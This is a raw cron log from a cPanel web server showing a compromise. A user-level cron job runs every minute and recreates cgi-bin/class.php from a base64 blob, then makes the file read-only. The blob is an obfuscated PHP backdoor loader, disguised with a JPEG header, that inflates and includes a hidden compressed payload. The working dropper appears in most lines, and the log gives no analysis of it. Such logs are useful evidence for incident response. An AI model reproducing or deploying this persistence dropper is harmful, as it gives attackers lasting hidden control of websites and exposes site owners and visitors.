Nov  9 15:37:01 server CROND[4264]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 15:38:01 server CROND[5095]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 15:39:01 server CROND[5923]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov  9 15:39:01 server CROND[5924]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 15:40:01 server CROND[6766]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 15:40:01 server CROND[6765]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 15:40:01 server CROND[6764]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 15:40:01 server CROND[6767]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 15:41:01 server CROND[7659]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 15:42:01 server CROND[8617]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 15:42:01 server CROND[8618]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov  9 15:43:01 server CROND[9524]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 15:44:01 server CROND[10357]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 15:45:01 server CROND[11226]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 15:45:01 server CROND[11229]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 15:45:01 server CROND[11227]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 15:46:01 server CROND[12112]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 15:47:01 server CROND[13016]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 15:48:01 server CROND[13371]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 15:49:01 server CROND[14075]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 15:50:01 server CROND[14781]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 15:50:01 server CROND[14782]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
